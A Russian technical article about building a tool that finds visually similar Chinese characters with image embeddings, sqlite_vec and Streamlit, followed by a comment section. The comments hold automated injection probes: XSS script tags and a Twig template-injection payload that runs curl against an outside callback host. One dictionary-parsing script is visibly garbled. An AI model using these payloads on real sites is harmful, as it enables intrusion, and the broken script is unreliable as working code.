Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Ищем похожие иероглифы при помощи искусственного интеллекта

01f91280b11c53c95bfa4eb08b323f49.png

Эта статья о разработке небольшого инструмента для помощи в изучении китайского языка. Приложение позволяет просмотреть иероглифы, внешне похожие на требуемый, что бы разобрать их сходство и различие. Здесь на довольно простом примере показано как формируется архитектура проекта и подбираются основные компоненты (под катом код с комментариями). Для чтения и понимания достаточно минимального знания python и sql запросов.

1. Общий замысел приложения

В китайском языке много похожих иероглифов, в том числе различающихся одной чертой и имеющих совершенно разные значения. Самые простые и популярные, ходящие по всем сайтам околокитайской тематики, типа 干 и 千 или 我, 钱 и找 видели почти все. Но эти иероглифы начального уровня и для них контекст и положение в предложении помогают отличить один от другого. Но вот 令 и 今, употребляемые в качестве местоимений, могут доставить много удивительных моментов, если их перепутать. Для меня ад начался на HSK 4. Мне казалось, что почти каждый иероглиф я где-то видел. Например 扳, который похож и на 报и на 饭, и еще за компанию на拔 и 拨, которые между собой тоже различаются одной чертой.

Частично решить эту проблему помогают прописи, когда разбираешь каждый элемент иероглифа и выделяешь его отличия. Но если бы все знаки было бы так легко запомнить и потом не забывать — выучить китайский было бы не сложно. Очень часто я оказывался в ситуации, когда кажется, что есть похожий иероглиф, но вот вспомнить точно ни его написание, ни произношение, ни значение ты не можешь, а посмотреть на него, сравнить с новым и отметить отличия в надежде удержать их в памяти очень надо. Я пытался найти в интернетах инструменты, которые могут показать похожие иероглифы, но находил только решения для поиска слов, включающих один и тот же знак. Тоже очень полезно, но не то.

Опытные китаисты могут возразить, что все иероглифы объединяют по ключам. Только вот у 资и 姿 ключи разные, а иероглифы похожие. Похожесть вообще вещь трудноформализуемая.

Можно решить, что до меня люди выучили китайский опираясь на свою память и самостоятельно подбирая похожие иероглифы, но я захотел и эту задачу переложить на кремниевого друга. Что у нас умеет находить похожее на основе трудноформализуемых условий? Конечно же нейросети!

Замысел очевиден: берем нейросеть, показываем ей иероглифы, заставляем для каждого рассчитать эмбеддинг, потом берем эмбеддинг нужного иероглифа, остальные сортируем по удаленности и готово. Вот ваши похожие иероглифы. Все просто, дальше начинаются несущественные детали.

2. Некоторые детали реализации

Картинки иероглифов

Какие знаки брать? Первая мысль — все! Более разумная — большинство знаков я увижу первый и последний раз в жизни. Поэтому берем только все множество HSK. Я учу HSK 3.0, поэтому взял полный список слов и иероглифов сразу в текстовом формате на гитхабе. Самым очевидным способом (но не самым правильным) кажется сделать надпись с каждым иероглифом и сохранить получившуюся картинку в одноименном файле. Еще я просмотрел несколько десятков свободных китайских шрифтов, пока не подобрал наиболее мне симпатичный. В результате с использованием библиотеки Pillow получилось 3000 картинок 224×224×3 (большинство нейросетей работают с полноцветными изображениями, поэтому делать их черно-белыми смысла нет):

Скрытый текст
from PIL import Image, ImageDraw, ImageFont
import os
from tqdm import tqdm

# файл https://github.com/elkmovie/hsk30/charlist.txt проще 
# немного обработать вручную,удалив все заголовки и оставив 
# только 3000 знаков, ну и числа

file_path = "dictionaries/full_zi.txt"
glifs_folder = "glifs/"

# Используем PIL для рисования картинок
def drav_zi(han_zi):
    image = Image.new("RGB", (224, 224), "white")
    draw = ImageDraw.Draw(image)
# Изначально использовался этот шрифт, но в нем мало иероглифов
# за пределами HSK 3.0
    font = ImageFont.truetype("ZhuqueFangsong-Regular.ttf", 220)
    draw.text((2, 2), han_zi, (0, 0, 0), font=font)
    output_path = glifs_folder + han_zi + ".png"
    image.save(output_path)

os.makedirs(glifs_folder, exist_ok=True)

try:
    with open(file_path, 'r', encoding='utf-8') as file:
        for line in tqdm(file):
            # удаляем лишние пробелы
            line = line.strip()
            for char in line:
                # все что не иероглиф игнорируем
                # диапазон иероглифов в UTF-8
                if '\u4e00' <= char <= '\u9fff':  
                    drav_zi(char)
                    
# наличие перехватчика ошибок в таких странных местах как признак 
# того, что часть кода сгененрирована нейросетью
except FileNotFoundError:
    print("File not found.")
except Exception as e:
    print(f"Error: {e}")

Формирование эмбеддингов и механизм сортировки

Хочется отдельное не очень тяжелое удобное приложение, а не очередной блокнот в jupyter. В одном из проектов я использовал pg-vector для PostreSQL при решении похожей задачи. Только там были десятки миллионов записей. Тащить тяжелый PostreSQL для работы с 3000 записей не рационально, поэтому выбраны более легкие аналоги sqlite и sqlite_vec.

Теперь формирование эмбеддингов. Их использование более привычно при решении задач обработки естественного языка, но на hugginface есть руководство по поиску похожих картинок, которое можно адаптировать для этого случая. При адаптации, во-первых, были выброшены все части, касающиеся реализации датасета. Я не планирую обучать модель, а собираюсь один раз применить ее последовательно на всем моем небольшом количестве изображений. Во-вторых, сеть довольно большая и ее выполнение на процессоре оказалось медленным, поэтому она была отправлена на видеокарту. Заодно была добавлена небольшая процедура, которая перебрасывает в видеокарту и тензор изображения.

Просмотрев документацию на sqlite_vec я увидел, что это дополнение, в отличии от pg-vector, не позволяет сохранять вектора в базе sqlite, а поиск и сортировка проводятся только в виртуальной базе. Поэтому разработчики прямо в документации приводят процедуру, которая переводит вектора в последовательность байт и позволяет результат сохранить в формате blob в реальной таблице.

В итоге получился первый вариант «бекэнда» будущего приложения:

Скрытый текст
import torch
import torch.nn.functional as F
from transformers import AutoModel, AutoImageProcessor
from PIL import Image
import os
import sqlite3
from typing import List
import struct
import numpy


# Для сохранения в реальной таблице
def serialize_f32(vector: List[float]) -> bytes:
    # перевод float в строку байт
    return struct.pack("%sf" % len(vector), *vector)


# передача изображения в cuda
def img_converion(img):
    # определяем количество каналов в изображении
    channel_count = len(img.getbands())
# ставим сначала каналы цветов изображения, что бы соответствовать 
# требованиям тензоров torch 
    img = numpy.reshape(img, (channel_count, img.height, img.width))
# непосредственно переводим тензор в формат  torch
    img = torch.from_numpy(img.astype(numpy.float32))
# и отправляем его на видеокарту
    img = img.cuda()
    return img


# Подготовка модели, выдающей эмбеддинги
model_ckpt = "nateraw/vit-base-beans"
processor = AutoImageProcessor.from_pretrained(model_ckpt)
vision_model = AutoModel.from_pretrained(model_ckpt)
vision_model.to('cuda')
# Путь к папке, откуда нужно взять файлы
folder_path = 'glifs'

# Открытие таблицы
conn = sqlite3.connect('nateraw_glifs.db')
cursor = conn.cursor()

# Создание таблицы для хранения эмбеддингов
cursor.execute('''
CREATE TABLE IF NOT EXISTS files (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    zi TEXT NOT NULL,
    embedding BLOB
)
''')

# Получение списка всех файлов в указанной папке
file_list = [os.path.join(folder_path, f) for f in os.listdir(folder_path)]

# Проход по всем файлам
with conn:
    for file_path in file_list:
# выделяем иероглиф из названия файла
        zi = file_path[6:7]
# открываем изображение 
        image = Image.open(file_path)
# отправляем его на видеокарту
        image = img_converion(image)
# получаем эмбеддинги согласно руководству hugginface 
        inputs = processor(image, return_tensors="pt")
        inputs.to('cuda')
        img_emb = vision_model(**inputs).last_hidden_state
        img_embeddings = F.normalize(img_emb[:, 0], p=2, dim=1)
# переводим вектор в последовательность байт
        item = serialize_f32(img_embeddings[0].tolist())
# и записываем все в базу
        conn.execute(
            "INSERT INTO files(zi, embedding) VALUES (?, ?)",
            (zi, item)
        )
conn.close()

Пользовательское приложение.

Приложение должно как минимум включать средство для ввода исходного иероглифа и механизм вывода отобранных похожих знаков. Еще будет уместен счетчик, ограничивающий количество демонстрируемых иероглифов (каждый раз показывать пересортированные 3000 знаков это перебор, быстро пробежать глазами можно максимум пару - тройку сотен). Разрабатывать и компилировать приложение на qt здесь тоже кажется избыточным. Поэтому снова python и один из вариантов веб-приложения. При этом Flet тянет кучу зависимостей не только из pip, но и из системы. Flask/Django подразумевают, что надо хорошо уметь в html, а я не хочу учиться ради одного простого приложения. Остается streamlit.

Его использование позволяет получить все основные элементы интерфейса пользователя в веб с использованием минимума кода, при этом не один html-тэг не пострадал (почти). При реализации закрытия приложения возникли неожиданные трудности. Если остановить выполнение текущего процесса streamlit очень просто (это вроде даже есть в документации), то вот закрытие текущей вкладки браузера почему-то работает нестабильно и не на всех системах (сильнее всех сопротивляется firefox в Astra Linux Special Edition). Само приложение кроме отображения интерфейса пользователя еще считывает данные из ранее сформированной базы, переносит ее значение в виртуальную таблицу, параллельно преобразуя сохраненную строку байт обратно в вектор. Ну и, естественно, выбирает из базы и показывает отсортированные знаки:

Скрытый текст
import streamlit as st
import os
import signal
import numpy as np
import sqlite3
import struct
import sqlite_vec
from pynput.keyboard import Key, Controller

base_file = "nateraw_glifs.db"

# переводим строку байт обратно в вектора
def deserialize_f32(byte_string):
    # создаем пустой массив
    vec_count = len(byte_string)//4
    float_vector = np.empty(vec_count, dtype=np.float32)
    # берем каждые четыре байта и преобразуем их во float
    for i in range(vec_count):
        byte_block = byte_string[i*4:(i+1)*4]
        # для преобразования используем struct 
        float_value = struct.unpack('f', byte_block)[0]
        float_vector[i] = float_value
    return float_vector


# создаем виртуальную базу, только она работает с векторами
db = sqlite3.connect(":memory:")
db.enable_load_extension(True)
sqlite_vec.load(db)
db.enable_load_extension(False)
db.execute("CREATE VIRTUAL TABLE vec_items USING vec0(zi TEXT, embedding float[768])")

# открываем реальную базу
conn = sqlite3.connect(base_file)
cursor = conn.cursor()
# и считываем все записи
query = "SELECT * FROM files"
try:
    cursor.execute(query)
    rows = cursor.fetchall()
    # переносим все записи в виртуальную базу
    for row in rows:
        db.execute(
           "INSERT INTO vec_items(zi, embedding) VALUES (?, ?)",
           [row [1], row [2]],
        )
except sqlite3.Error as e:
    st.write("Request execution error:", e)
finally:
    conn.close()


# формируем окно
st.set_page_config(page_title="Поиск похожих иероглифов", layout="wide")
st.title("Поиск похожих иероглифов")

# на боковой панели кнока выхода
exit_app = st.sidebar.button("Shut Down")
if exit_app:
    # пытаемся закрыть текущую вкладку браузера
    keyboard = Controller()
    keyboard.press(Key.ctrl)
    keyboard.press('w')
    keyboard.release('w')
    keyboard.release(Key.ctrl)
    # Выключаем процесс streamlit
    os.kill(os.getpid(), signal.SIGKILL)

# Ввод иероглифа
col1, col2 = st.columns(2)
with col1:
    zi = st.text_input( "Введите иероглиф и нажмите Enter", "时", max_chars=1)
# TODO проверка что введен иероглиф
with col2:
    zi_count = st.number_input("Всего отобрать иероглифов:", value=20, min_value=1, max_value=100)
result = db.execute("SELECT embedding FROM vec_items WHERE zi=?", (zi,)).fetchone()
four_col = []
# Делаем две колонки, что бы взглядом можно было охватить больше
# иероглифов за раз
for row in rows:
    four_col.append(row [0])
    four_col.append(row [1])
# формируем резульаты в списки по 4, что бы выводить в две колонки
    if len(four_col) == 4:
	# делаем часть колонки с будущей словарной статьей пошире
        col1, col2, col3, col4 = st.columns([1, 10, 1, 10])
        with col1:
            prtbl = """<p>""" + four_col[0]
            st.write(prtbl, unsafe_allow_html=True)
        with col2:
            st.write("Расстояние:", four_col[1])
            # TODO смысл и пиньинь
        with col3:
            prtbl = """<p>""" + four_col[2]
            st.write(prtbl, unsafe_allow_html=True)
        with col4:
            st.write("Расстояние:", four_col[3])
          	# TODO смысл и пиньинь
        four_col = []

# если пользователь ввел нечетное число знаков для отбора 
# и отображения, последний надо показать в одной колонке
    elif len(four_col) == 2:
        col1, col2 = st.columns([1, 21])
        with col1:
            prtbl = """<p>""" + four_col[0]
            st.write(prtbl, unsafe_allow_html=True)
        with col2:
            st.write("Расстояние:", four_col[1])
          # TODO смысл и пиньинь

Добавление словарных статей

Рассматривать похожие иероглифы отличный способ прокрастинации. Но приложение будет иметь смысл только когда для каждого иероглифа будет приведен пиньинь и какая-нибудь словарная статья. Есть устоявшееся мнение, с которым я согласен, что лучшим на текущий момент является словарь БКРС. Поэтому я решил не мелочиться. Вот только в html формате он у меня отказался распаковываться падая с ошибкой 99, поэтому был скачан формат DSL, через pyglossary переведен в html формат, а затем скриптом преобразован в базу sqlite3. Сначала я бездумно перегнал все в sqlite3, но при просмотре получившейся базы обнаружил более 2 000 000 дублирующих записей. Пришлось добавить проверку на повторы, что сделало процесс формирования базы долгим и мучительным:

Скрытый текст
import sqlite3
import os
from tqdm import tqdm

base_path = 'brks_clean.db'
nown_elements = []


# Выделение иероглифа(словарного слова) в html тегах
def zi_finder(text):
    # формат авторов словарей
    # перед иероглифом стоит ключевое слово headword
    start_index = text.find("headword")
    # а конец отмечается двумя разными тегами почему-то
    if (end_index := text.find("</big><br>")) == -1:
        end_index = text.index("</b><br>", start_index+9, )
    zi = text[start_index+10:end_index]
    return zi


# Отделение Пиньиня и остального текста
def pinyin_separation(text, pinyin_index):
    pinyin = text[:pinyin_index]
    article = text[pinyin_index:]
    return pinyin, article


# Наполнение промежуточных переменных и одновременная дозапись в базу
def base_filler(texts, conn):
    zi_values = []
    pinyin_values = []
    article_values = []
    for text in texts:
        # Если нашел строку с ироглифами
        if "<div id=" in text:
            zi = zi_finder(text)
            # и такое слово уже было
            # !NB это очень медленно под конец! не смог придумать 
            # ничего лучше в тот момент :(
            if zi in nown_elements:
                continue  # пропускаем его
            else:
                zi_values.append(zi)
                nown_elements.append(zi)
        # Если в строке есть словарная статья
        elif (pinyin_index := text.find("<pINSERT INTO brks (zi, pinyin, rus_articles) VALUES (?, ?, ?)",
            zip(zi_values, pinyin_values, article_values)
        )
        conn.commit()

# Создание таблицы
conn = sqlite3.connect(base_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS brks (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    zi TEXT NOT NULL,
    pinyin TEXT,
    rus_articles TEXT,
)
''')

# Все папки с html файлами словаря
adr_list = [f"dabkrs_{i}.hdir" for i in range(1, 4)]
# Идем по файлам
for folder_path in adr_list:
    file_list = [os.path.join(folder_path, f) for f in os.listdir(folder_path)]
    for item in tqdm(file_list):
        with open(item, 'r', encoding='utf-8') as file:
            texts = file.readlines()
            base_filler(texts, conn)

conn.close() 

Еще был вариант удалить повторы «средствами sqlite»:

Скрытый текст
import sqlite3
from tqdm import tqdm

conn = sqlite3.connect('brks.db')
cursor = conn.cursor()
# Получение всех уникальных zi
unique_zi_values = cursor.execute("SELECT zi FROM brks GROUP BY zi HAVING COUNT(*) > 1").fetchall()
print (len(unique_zi_values))
# Формирование списка zi для удаления
values_to_delete = [row[0] for row in unique_zi_values]
print (len(values_to_delete))
# Удалите повторяющихся значений в колонке zi, кроме первого из них
for zi in tqdm(values_to_delete):
    cursor.execute("DELETE FROM brks WHERE zi = ? AND id NOT IN (SELECT MIN(id) FROM brks WHERE zi = ?)", (zi, zi))
conn.commit()
conn.close()

Этот код предсказывал 350 часов на удаление повторов. Первый вариант справился за ночь. Когда первый вариант начал предсказывать больше 6 часов возникла мысль перегнать все в PostreSQL, удалить повторы там, но я ушел спать, а утром все было закончено (да я, как правило, не засыпаю перед компом, стараюсь спать 8 часов, и не сажусь работать до завтрака).

Когда что-то поправилось на сайте или у меня и архив с БКРС в формате html начал открываться, я обнаружил, что там статьи размечены каким-то интересным образом, а не готовым html. Преобразование в удобный для чтения вид у них осуществляется на лету java script. Разбираться с разметкой и придумывать способ приведения к читабельному виду, учитывая наличие готового словаря, мне стало лень.

Кроме этого, было решено добавить английские словарные статьи. Иногда английское слово точнее соответствует значению иероглифа, чем набор русских (для найденного открытого китайско-английского словаря это оказалось далеко от истины, но работа все равно сделана; может авторы его допилят со временем, и он оправдает возложенное на него высокое доверие):

Скрытый текст
import sqlite3
from tqdm import tqdm
import re


# удалем слеши по краям статьи и заменяем их на точки с запятой в середине
def art_clean(leftover):
    leftover = leftover.lstrip('')
    leftover = leftover.lstrip('/')
    leftover = leftover.rstrip('')
    leftover = leftover.rstrip('/')
    leftover = leftover.replace('/', ';')
    return leftover


# https://github.com/ProxPxD/Hanzi_searcher/blob/master/cedict_ts.u8
file_name = 'dictionaries/cedict_ts.u8'
db_name = 'eng_dict.db'

conn = sqlite3.connect(db_name)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS eng_dict (
    zi TEXT,
    old_zi TEXT,
    pinyin TEXT,
    eng_art TEXT
)
''')
# переменные для одновременной вставки в базу
zi_s = []
old_zi_s = []
pinyin_s = []
eng_art_s = []

# читаем файл по строкам
with open(file_name, 'r') as file:
    for line in tqdm(file):
        # разделяем колонки
        zi, leftover = line.split(' ', 1)
	# это упрощенный иероглиф
        zi_s.append(zi)
        old_zi, leftover = leftover.split(' ', 1)
	# это классический иероглиф
        old_zi_s.append(old_zi)
        match = re.search(r'\[([^]]+)\]', leftover)
        if match:
            pinyin = match.group(1)
            # удаляем найденное из строки
            leftover = re.sub(r'\[([^]]+)\]', '', leftover)
            pinyin_s.append(pinyin)
        # очищаем словарную статью
        eng_art = art_clean(leftover)
        eng_art_s.append(eng_art)
    # записываем все разом в базу
    if zi_s and old_zi_s and pinyin_s and eng_art_s:
        conn.executemany(
            "INSERT INTO eng_dict (zi, old_zi, pinyin, eng_art) VALUES (?, ?, ?, ?)",
            zip(zi_s, old_zi_s, pinyin_s, eng_art_s)
        )
conn.commit()
conn.close()

Муки выбора нейросети

Макет приложения заработал, но предложенная в руководстве hugginface нейросеть, как оказалось, все таки больше для листочков, а не иероглифов. Поэтому я пошел на hugginface и начал перебирать нейросети, решающие задачу image feature extraction (Нет, поиск в google меня сразу привел к PyTorch Image Models, но не поковыряв руками десяток - другой разных нейросетей разве можно успокоиться?). В процессе перебора я, к сожалению, журнала не вел (и очень зря, в следующий раз в подобной ситуации буду, из тех сетей, что сохранились в блокнотах: 1, 2, 3, 4 ). Отбор происходил в два этапа. Сначала я просматривал результаты выдачи сети сам, и если она отбирал на мой вкус достаточно похожие иероглифы, показывал результаты выдачи случайным точно не знающий китайским язык подопытным коллегам. Они говорили, похожи ли картинки друг на друга или нет. Их мнение о похожести учитывалось, потому что мое виденье иероглифов уже испорчено знанием ключей и компоновки иероглифа, а они воспринимают его как рисунок (также как и нейросеть). В какой-то момент мне начало казаться, что все результаты как-то не очень. Я даже подумал, может самому разметить себе датасет и дообучить на нем кого-нибудь. Но прикинув на пальцах, что оценить схожесть каждого с каждым на 3000 знаков даже просто бинарно, тратя секунду на оценку займет у меня рабочий год, я отверг этот вариант. Основываясь на субъективных мнениях себя самого, коллег и домочадцев в итоге я решил становиться на двух сетях:

1) https://huggingface.co/timm/vit_large_patch14_reg4_dinov2.lvd142m;

2) https://huggingface.co/jxtc/resnet-50-embeddings.

Мое представление о похожести может совсем не совпадать с вашим. Так бывает.

Ненужные попытки расширения

Вроде бы база и приложение начали приобретать конечный вид. И тут я решил все таки добавить все одиночные знаки из БКРС.

Как всегда, слегка расширить казалось просто. Отбираем все одиночные иероглифы:

Скрытый текст
import sqlite3
# открываем базу со соловарем
base_file = 'brks_clean.db'
conn = sqlite3.connect(base_file)
cursor = conn.cursor()
query = "SELECT zi FROM brks"
full_zi = []
# отбирем все слова вообще
try:
    cursor.execute(query)
    rows = cursor.fetchall()
except sqlite3.Error as e:
    print("Ошибка при выполнении запроса:", e)
finally:
    conn.close()
# если слово длиннее одного символа его игнорируем
for row in rows:
    if len(row [0]) > 1:
        continue
    else:
        full_zi.append (row [0])

Получаем 33350 знаков. Берем уже готовый скриптик, прогоняем. Получаем 20750 картинок. Фалломорфир Очень удивляемся. Думаем. Тыкаем в консоль. Приходим к выводу, что если в системном шрифте нет иероглифа, то и записать файл с его именем тоже не получиться. В этот момент я с сожалением подумал, что надо было делать не папку с файлами, а какой-нибудь простой датасет, что бы файлы именовать по цифрам, а иероглифы файлам сопоставлять через json. Просмотрев получившиеся картинки, я расстроился еще сильнее. В том шрифте, который мне понравился, нет половины знаков. Пришлось поступиться привлекательностью шрифта. После того, как знаков стало почти в 7 раз больше, связка sqlite и sqlite_vec справляться стала плохо. Размер базы тоже дорос до четверти гигабайта. В итоге на левой панели интефейса появилась еще одна галочка, скрывающая иероглифы, не входящие в HSK 3.0. За время оценки новой плохо ворочающейся базы, которая показывает кучу иероглифов, о существовании которых я никогда не узнаю, стало понятно, что все эти знаки на самом деле особо и не нужны.

В итоге, отдельная полная, тяжелая и неповоротливая версия базы и приложения имеет право на существование. Но на практике достаточно пользоваться версией, содержащей только HSK 3.0.

Финальная версия приложения для работы с базой HSK 3.0:

25032a99e6f967459f328f588897a9e7.pngСкрытый текст
import sys
# Проверяем, что при компиляции python был включен флаг 
# --enable-loadable-sqlite-extensions
try:
    import sqlite3
    db = sqlite3.connect(":memory:")
    db.enable_load_extension(True)
except AttributeError:
    import sqlean as sqlite3
    db = sqlite3.connect(":memory:")
    db.enable_load_extension(True)
import streamlit as st
import os
import sqlite_vec
import numpy as np
import struct
from pynput.keyboard import Key, Controller
import signal
import locale

# пытаемся найти русскую локаль
locale.setlocale(locale.LC_ALL, "")
locale_info = locale.getlocale()
user_lang = locale_info[0].split('_')[0]
lang_code = locale.normalize(user_lang)[:2].lower()

# Текстовые переменные
if lang_code == "ru":
    zi_title = "Поиск похожих иероглифов"
    zi_invit = "Введите иероглиф и нажмите Enter"
    base_error = "Ошибка при выполнении запроса:"
    find_eror = "Такой иероглиф не найде."
    find_count = "Всего отобрать иероглифов:"
    dist_text = """&emsp; &emsp; &emsp; &emsp; &emsp; &emsp; &emsp; &emsp; Расстояние:"""
    turn_off = "Выход"
    radio_title = "Вид словарной статьи"
    ru_short_art = "Короткая русская"
    ru_full_art = "Длинная русская"
    eng_art = "Английская"
    embeding_radio_title = "Сортировать по эмбеддингам"
else:
    zi_title = "Search for similar hieroglyphs"
    zi_invit = "Type the hieroglyph and press Enter"
    base_error = "Request execution error:"
    find_eror = "The line with the specified hieroglyph was not found."
    find_count = "Total to select hieroglyphs:"
    dist_text = """&emsp; &emsp; &emsp; &emsp; &emsp; &emsp; &emsp; &emsp; Distance:"""
    turn_off = "Shut Down"
    radio_title = "Type of dictionary entry"
    ru_short_art = "Short Russian"
    ru_full_art = "Long Russian"
    eng_art = "English"
    embeding_radio_title = "Sorting by embeddings"

timm_name = "Timm dino v2"
resnet_name = "ResNet50"
base_file = 'zi.db'
zi_style_set = """<p>"""

# параметры окна
st.set_page_config(page_title=zi_title, layout="wide")


# переводим строку байт обратно в вектора
def deserialize_f32(byte_string):
    # создаем пустой массив
    vec_count = len(byte_string)//4
    float_vector = np.empty(vec_count, dtype=np.float32)
    # берем каждые четыре байта и преобразуем их во float
    for i in range(vec_count):
        byte_block = byte_string[i*4:(i+1)*4]
        # для преобразования используем struct 
        float_value = struct.unpack('f', byte_block)[0]
        float_vector[i] = float_value
    return float_vector


# создаем виртуальную базу, только она работает с векторами
sqlite_vec.load(db)
db.enable_load_extension(False)
db.execute("CREATE VIRTUAL TABLE vec_items USING vec0(zi TEXT, pinyin TEXT, ru_short_art TEXT, ru_full_art TEXT, eng_art TEXT, timm_embedding float[1024], res_embedding float[2048])")

# открываем реальную базу
conn = sqlite3.connect(base_file)
cursor = conn.cursor()
# и считываем все значения
query = "SELECT * FROM files"
try:
    cursor.execute(query)
    rows = cursor.fetchall()
    # переносим все в виртуальную базу
    for row in rows:
        db.execute(
           "INSERT INTO vec_items(zi, pinyin, ru_short_art, ru_full_art, eng_art, timm_embedding, res_embedding) VALUES (?, ?, ?, ?, ?, ?, ?)",
            [row [1], row [2], row [3], row[4], row[5], row[7], row[8]],
        )
# row [6] было зарезрвировано для признака HSK и здесь не используется
except sqlite3.Error as e:
    st.write(base_error, e)
finally:
    conn.close()

# интерфейс пользователя
st.title(zi_title)
# боковая панель
exit_app = st.sidebar.button(turn_off)
if exit_app:
    # Закрываем текущую вкладку браузера
    keyboard = Controller()
    keyboard.press(Key.ctrl)
    keyboard.press('w')
    keyboard.release('w')
    keyboard.release(Key.ctrl)
    # Останавливаем streamlit
    os.kill(os.getpid(), signal.SIGKILL)
st.sidebar.divider()
# выбор словарной статьи
type_select = st.sidebar.radio (label = radio_title, options = [ru_short_art, ru_full_art, eng_art])
st.sidebar.divider()
# выбор эмбеддингов
embeding_select = st.sidebar.radio (label = embeding_radio_title, options = [timm_name, resnet_name])

# элементы для ввода
col1, col2 = st.columns(2)
with col1:
    zi = st.text_input(zi_invit, "时", max_chars=1)
    # Диапазон иероглифов в utf-8
    if '\u4e00' >= zi >= '\u9fff':  
        zi = "时"
with col2:
    zi_count = st.number_input(find_count, value=50, min_value=1, max_value=100)
# задаем, какую статью показывать
if type_select == ru_short_art:
    d_type = "ru_short_art"
elif type_select == ru_full_art:
    d_type = "ru_full_art"
else:
    d_type = "eng_art"

# если выбраны эмбеддинги timm
if embeding_select == timm_name:
    result = db.execute("SELECT timm_embedding FROM vec_items WHERE zi=?", (zi,)).fetchone()
    if result:
        # Если иероглиф найден, получаем столько ближайших, сколько указал пользователь
        query = result[0]
        rows = db.execute("""SELECT zi, distance, pinyin, ru_short_art, ru_full_art, eng_art FROM vec_items WHERE timm_embedding MATCH ? ORDER BY distance LIMIT ?""", [deserialize_f32(query), zi_count],).fetchall()
    else:
        st.error(find_eror)
# если resnet
else:
    result = db.execute("SELECT res_embedding FROM vec_items WHERE zi=?", (zi,)).fetchone()
    if result:
        # аналогично отбираем. В процедуру объединить нельзя, sqlite3 не хочет принимать имя столбца через знак подстановки
        query = result[0]
        rows = db.execute("""SELECT zi, distance, pinyin, ru_short_art, ru_full_art, eng_art FROM vec_items WHERE res_embedding MATCH ? ORDER BY distance LIMIT ?""", [deserialize_f32(query), zi_count],).fetchall()
    else:
        st.error(find_eror)

# формируем отображение 
four_col = []
# формируем список для отображения в две колонки
for row in rows:
    four_col.append(row[0])
    four_col.append(row[1])
    four_col.append(row[2])
# выбираем, какую статью показывать
    if type_select == ru_short_art:
        four_col.append(row[3])
    elif type_select == ru_full_art:
        four_col.append(row[4])
    else:
        four_col.append(row[5])
    # two-column display
# Делаем две колонки, что бы взглядом можно было охватить больше иероглифов за раз    
if len(four_col) == 8:
        col1, col2, col3, col4 = st.columns([1, 10, 1, 10])
# здесь сам иероглиф
        with col1:
            prtbl = zi_style_set + four_col[0]
            st.write(prtbl, unsafe_allow_html=True)
# здесь статья, пиньин и удаленность
        with col2:
            st.write(four_col[2], dist_text, four_col[1], unsafe_allow_html=True)
            st.write(four_col[3], unsafe_allow_html=True)
# TODO сделать наполнение колонок в цикле, что бы их количество можно было менять
        with col3:
            prtbl = zi_style_set + four_col[4]
            st.write(prtbl, unsafe_allow_html=True)
        with col4:
            st.write(four_col[6], dist_text, four_col[5])
            st.write(four_col[7], unsafe_allow_html=True)
        four_col = []
# если пользователь ввел нечетное число знаков для отбора и отображения, последний надо показать в одной колонке
if len(four_col) == 4:
    col1, col2 = st.columns([1, 21])
    with col1:
        prtbl = zi_style_set + four_col[0]
        st.write(prtbl, unsafe_allow_html=True)
    with col2:
        st.write(four_col[2], dist_text, four_col[1])
        st.write(four_col[3], unsafe_allow_html=True)

Выводы

В конечном итоге после реализации всех хотелок получился набор скриптов для создания базы с иероглифами, эмбеддингами и словарными статьями, сама база и приложение на streamlit. Скрипты, конечная база с HSK 3.0 и приложения в обоих вариантах лежат в репозитории. Итоговый код в некоторых скриптах значительно отличается от первых вариантов, приведенных здесь. Соответствующие комментарии в наличии, но в основном на английском. В readme подробно описан только порядок запуска приложения, для формирования собственной базы придется вчитаться в код, что бы его потом переделать.

Из того, что не было сделано. Надо бы подумать, как хранить примеры отдельно, статьи отдельно и вставлять примеры по настоящему, а не тратить память на двойное хранение. Хорошо бы интегрировать все связанные части БКРС и сделать работающими гиперссылки. Можно было бы добавить возможность просмотреть слова, в которых иероглифы используются, хотя бы из HSK 3.0. И да, оптимизация, подгонка под мониторы с низким разрешением, адаптация для слабых машин с недостатком оперативной памяти. Неплохо еще ... Когда-нибудь, наверное, после дождичка в четверг, под чутким руководством непрерывно свистящего рака… потому что основную свою функцию приложение выполняет, и лишний функционал (как показал опыт с добавлением знаков не из HSK 3.0) полезнее и удобнее его делает не всегда.

В работе мне помогал Qwen2.5-Coder-7B-Instruct, работающий локально. Он часто позволяет сразу получить готовую стандартную процедуру. Но с ним хорошо работать, только когда можно сформулировать свой запрос в одном — двух предложениях. Если задачу надо разложить ИИ по полочкам, что бы он ее понял — то проще такой код написать самому. Генератор КДПВ (очень легкий и быстрый, но промт понимает сильно в общих чертах).

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

